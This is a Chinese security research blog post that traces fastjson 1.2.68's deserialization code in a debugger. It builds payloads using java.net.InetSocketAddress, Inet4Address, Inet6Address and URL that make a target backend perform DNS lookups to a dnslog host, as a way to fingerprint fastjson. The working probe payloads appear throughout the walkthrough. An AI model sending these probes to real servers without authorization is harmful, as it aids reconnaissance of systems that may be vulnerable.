前言

正常测试的时候,发现java后端对json处理都会去测试一下是否存在反序列化,但是后端处理json的组件很多,比如fastjsonjacksongson等,怎么判断是否使用了fastjson呢?

有一个简便无危害的方式,就是通过dnslog来判断。

大佬们讨论的issue

说明

前面我们在分析的时候,会发现很多有一个变量token在进行判断,比如token == 12 或者 token == 14等,那这个token到底代表啥呢?在com.alibaba.fastjson.parser.JSONToken中我们可以找到答案

public static String name(int value) {
        switch(value) {
        case 1:
            return "error";
        case 2:
            return "int";
        case 3:
            return "float";
        case 4:
            return "string";
        case 5:
            return "iso8601";
        case 6:
            return "true";
        case 7:
            return "false";
        case 8:
            return "null";
        case 9:
            return "new";
        case 10:
            return "(";
        case 11:
            return ")";
        case 12:
            return "{";
        case 13:
            return "}";
        case 14:
            return "[";
        case 15:
            return "]";
        case 16:
            return ",";
        case 17:
            return ":";
        case 18:
            return "ident";
        case 19:
            return "fieldName";
        case 20:
            return "EOF";
        case 21:
            return "Set";
        case 22:
            return "TreeSet";
        case 23:
            return "undefined";
        case 24:
            return ";";
        case 25:
            return ".";
        case 26:
            return "hex";
        default:
            return "Unknown";
        }
    }

分析

  • fastjson 1.2.68
  • jdk 8u261

分析一下checkAutoType

image-20211020103325185

这个黑名单检测绕过后,会来到如下几个if语句,写了个简单的注释

// 从ConcurrentHashMap类变量mapping中尝试获取这个类,mappings有点像维护的一个基础类库
clazz = TypeUtils.getClassFromMapping(typeName);
// 如果mapping里面没有这个类,就会尝试从this.deserializers.buckets这个IdentityHashMap类的Map中尝试获取clazz,这个有点像开发者维护的一个可信任类
if (clazz == null) {
     clazz = this.deserializers.findClass(typeName);
 }
// 如果clazz还是为null,就会尝试从this.typeMapping中去获取类,但这个类默认是空的
 if (clazz == null) {
     clazz = (Class)this.typeMapping.get(typeName);
 }
// 如果在白名单,就直接加载这个clazz
 if (internalWhite) {
     clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, true);
 }
// 如果clazz不为null,且不满足后续的判定条件,就直接返回clazz
 if (clazz != null) {
     if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
         throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
     } else {
         return clazz;
     }
 }

也就是说,如果我们能在上面的几个Map中找到一些可利用的类,那么默认情况下(关闭autoType的情况)就可以绕过黑白名单检查,直接返回clazz进入后续操作

分析一下里面一共有哪些类

  • mappings
((ConcurrentHashMap) mappings).keySet()

image-20211020112223003

  • this.buckets
Object[] a = new Object[9000];
for(int i = 0; i < this.buckets.length; ++i) {
            IdentityHashMap.Entry bucket = this.buckets[i];
            if (bucket != null) {
                for(IdentityHashMap.Entry entry = bucket; entry != null; entry = entry.next) {
                    Object key = bucket.key;
                    a[i] = key.name;
                }
            }
        }
return a;

image-20211020112646499

  • this.typeMapping

默认为空

汇总一下所有类:

java.lang.IndexOutOfBoundsException
java.lang.Integer
java.lang.NoSuchFieldException
java.lang.Long
java.math.BigInteger
java.lang.LinkageError
java.lang.StringIndexOutOfBoundsException
java.lang.StackOverflowError
long
java.lang.VerifyError
java.util.LinkedHashMap
java.util.Calendar
java.lang.StackTraceElement
[long
java.lang.NoSuchMethodError
java.util.concurrent.atomic.AtomicLong
java.util.TreeMap
java.util.Date
java.lang.NoSuchFieldError
java.util.concurrent.atomic.AtomicInteger
java.lang.Short
java.util.Locale
java.lang.InstantiationException
java.lang.SecurityException
java.sql.Timestamp
java.util.concurrent.ConcurrentHashMap
java.util.UUID
java.lang.IllegalAccessError
com.alibaba.fastjson.JSONObject
[short
java.util.HashSet
[byte
java.lang.Boolean
java.sql.Date
short
java.lang.Object
java.util.BitSet
[char
java.lang.Float
java.math.BigDecimal
java.lang.Character
java.lang.InternalError
[double
byte
double
java.lang.Exception
java.lang.Double
[B
java.lang.TypeNotPresentException
[C
[D
java.text.SimpleDateFormat
[F
[I
java.util.TreeSet
[J
java.util.ArrayList
java.lang.IllegalMonitorStateException
com.alibaba.fastjson.JSONArray
[S
java.lang.String
java.lang.Number
java.util.LinkedHashSet
[Z
java.lang.NegativeArraySizeException
java.lang.NumberFormatException
java.lang.RuntimeException
char
java.lang.OutOfMemoryError
java.lang.IllegalStateException
java.sql.Time
java.lang.NoSuchMethodException
java.util.Collections$EmptyMap
[boolean
float
java.lang.AutoCloseable
java.lang.NullPointerException
java.lang.Byte
[int
com.alibaba.fastjson.JSONPObject
java.lang.Cloneable
java.lang.IllegalAccessException
java.util.IdentityHashMap
java.util.HashMap
java.lang.NoClassDefFoundError
java.util.Hashtable
java.util.WeakHashMap
java.lang.IllegalThreadStateException
java.lang.IllegalArgumentException
int
java.util.concurrent.TimeUnit
boolean
java.lang.InstantiationError
java.lang.InterruptedException
[float

java.util.regex.Pattern
com.alibaba.fastjson.JSONArray
java.lang.StringBuilder
java.nio.charset.Charset
java.math.BigDecimal
char
java.io.File
java.lang.String
boolean
java.net.InetSocketAddress
java.lang.Character
java.lang.Number
java.util.concurrent.ConcurrentHashMap
javax.xml.datatype.XMLGregorianCalendar
java.net.Inet4Address
java.sql.Date
java.util.Collection
com.alibaba.fastjson.JSONPath
java.util.concurrent.atomic.AtomicIntegerArray
java.util.TreeMap
short
java.util.Currency
java.sql.Time
java.lang.Integer
double
java.lang.Class
java.math.BigInteger
com.alibaba.fastjson.JSONObject
java.util.concurrent.atomic.AtomicBoolean
java.util.concurrent.atomic.AtomicLongArray
java.util.HashMap
java.util.TimeZone
java.lang.Comparable
java.util.ArrayList
java.text.SimpleDateFormat
com.alibaba.fastjson.JSONPObject
java.lang.StringBuffer
byte
java.io.Closeable
java.lang.Double
java.util.concurrent.atomic.AtomicInteger
int
java.lang.Float
java.net.URL
java.util.List
java.lang.Object
java.sql.Timestamp
java.lang.StackTraceElement
java.net.Inet6Address
java.util.concurrent.atomic.AtomicLong
java.net.URI
java.util.UUID
java.lang.Cloneable
java.util.LinkedHashMap
long
java.lang.Short
java.lang.Byte
[C
java.lang.ref.WeakReference
java.lang.ref.SoftReference
java.util.concurrent.ConcurrentMap
java.util.Calendar
java.util.Date
java.util.Locale
java.lang.Long
java.util.Map
java.io.Serializable
java.util.concurrent.atomic.AtomicReference
java.lang.Boolean
float

挖掘

既然已经拿到这些类了,我们大概筛选一下哪些是可以用的(这里筛选的是java.net.xxx的,因为带net的几乎都和网络相关可以发起请求)

java.net.InetSocketAddress
java.net.Inet4Address
java.net.URL
java.net.Inet6Address
java.net.URI

那我们从第一个开始

java.net.InetSocketAddress

初始payload

{"@type":"java.net.InetSocketAddress", "a":"b"}

通过checkAutoType后,成功按照我们的预期返回

image-20211020113548087

然后跟到371行,执行反序列化操纵,跳过这一步会直接抛出错误异常,所以我们跟进

image-20211020113705784

跟进后,判断类,通过

开始判断token,这个时候我们的token是16,即,,不等于8,进入else

image-20211020115303924

来到了parser.accept(token)后,不知道这个函数干啥的,跟进一下,发现原来是判断当前的token是不是传入的token,很明显这里我们是16不是12,所以会抛出异常。

image-20211020115605034

那我们修改一下payload,给他提供一个 {,也就是token=12

{"@type":"java.net.InetSocketAddress"{, "a":"b"}

这个时候我们就能成功通过accept这个函数了,继续向下

image-20211020125639330

发现有个变量className,下方要求他等于address,且期望它下一位的token是17(:

那我们看看className是怎么得来的,跟进stringVal

image-20211020130700387

发现这就是一个字符串切割函数,this为我们输入的字符串,因为this.hasSpecial为false

this.np就是当前这个字符串现在的游标位置,而this.sp则是切割的长度,我们再看下这个this.sp是怎么变得

前期阶段,是统计2个"中间的长度的,方便后面切割

image-20211020132352930

后面估计也差不多,发现在进入反序列化过后,paper.accept的时候,会调用nextToken,其中会用到this.sp

跟一下发现,这个字符就是我们payload中{后面的,,期望一个",但是我们传入的是,,所以this.sp就等于0了

image-20211020132817095

所以还需要增加一对",来增加this.sp的值,达到切割字符串的目的

{"@type":"java.net.InetSocketAddress"{"aaa", "a":"b"}

更换payload后,成功通过上方的判断,进入this.scanString(),这里面this.sp++会判断我们输入的字符串长度

image-20211020133230515

此时this.sp问题解决了,我们继续回到lexer.stringVal(),跟进,可以看到现在切割出来的字符串,就是我们传入的aaa

image-20211020133708694

继续往后,发现className要等于address,所以给我们的aaa改成address即可,此外期望token是17,那还需要加一个:

image-20211020134003797

所以修改后的payload

{"@type":"java.net.InetSocketAddress"{"address":"aaa", "a":"b"}

一路顺利,到了parser.parseObject这里会进行类型转换为InetAddress

image-20211020140108291

又是一路顺利,到了deserializer.deserialze,只不过这次传入的TypeInetAddress

image-20211020140434108

又回到了熟悉的地方

image-20211020140815933

然后一顿调,抛出异常了

image-20211020140920982

回看了一下,原来是这个地方要求是16(:),而我们是4(String)。。。

image-20211020140935775

那哪个地方的String出问题了呢?

分析一下当前游标的位置,发现就是"address":后面应该是个,,而不是String

image-20211020142110988

所以再改payload

{"@type":"java.net.InetSocketAddress"{"address":, "a":"b"}

又回到刚才的地方,这次过了,但是要求lexer.stringVal()val

image-20211020145424215

熟悉的函数,刚才我们分析过了,就是需要一个"xxx",从上面也可以看出来"a"是我们后面的键值对中的键

那我们给a改成val

{"@type":"java.net.InetSocketAddress"{"address":, "val":"b"}

然后回到刚才的条件,继续向后,都是满足的,我们payload中val的值赋给了objVal

image-20211020145922718

类型转换,赋值给strVal

image-20211020150347710

返回InetAddress.getByName(strVal)

image-20211020150437942

InetAddress.getByName会尝试通过域名获取IP

image-20211020150623023

所以给strVal的值设置为dnslog的URL即可

最终Payload

{"@type":"java.net.InetSocketAddress"{"address":, "val":"enst5r.dnslog.cn"}

成功

image-20211020150909237

最后小小的总结一下:就是整个过程中,缺什么给他补什么

java.net.Inet4Address

初始payload

{"@type":"java.net.Inet4Address", "a":"b"}

运行,经过checkAutoType后反序列化,和上面一样的错,需要val,而此时的值是a

image-20211020151339285

我们给a换成val就行了

{"@type":"java.net.Inet4Address", "val":"b"}

最后解析的时候,一样的方法,InetAddress.getByName(strVal)

image-20211020151533802

最终POC

{"@type":"java.net.Inet4Address", "val":"dnslog"}

java.net.Inet6Address

看了下,和 java.net.Inet4Address 一样,就不再写了

{"@type":"java.net.Inet6Address", "val":"dnslog"}

java.net.URL

这个就不能直接来硬的了,根据我们之前分析过的ysoserial#URLDNS这条链,如果将一个URL对象放置到HashMap中,那么在进行计算hashcode的时候,会触发dnslog请求

所以我们让fastjson给对象反序列化为URL对象的后,再把它放到HashMap中即可

{{"@type":"java.net.URL", "val":"http://8fhj7r.dnslog.cn"}:"a"}

下断点分析,fastjson给前面还原成了URL对象,当做了key

image-20211020162302812

然后继续跟,发现使用put将其添加到HashMap中,所以dnslog收到了请求

image-20211020162518225

java.net.URI

  1. 不能和URL类类似似使用HashMap计算key的hashCode方法去发起请求
  2. 内部也没有类似的发起请求的方法

image-20211020163853356

所以目前没找到利用方法emmmmm

总结

还有一些畸形的payload,可以去前言里面看看issue,原理都差不多

只是大佬们对fastjson的解析流程真的理解太透彻了,羡慕了

参考文献

Copyright © d4m1ts 2023 all right reserved,powered by Gitbook该文章修订时间: 2021-12-25 18:52:00

results matching ""

    No results matching ""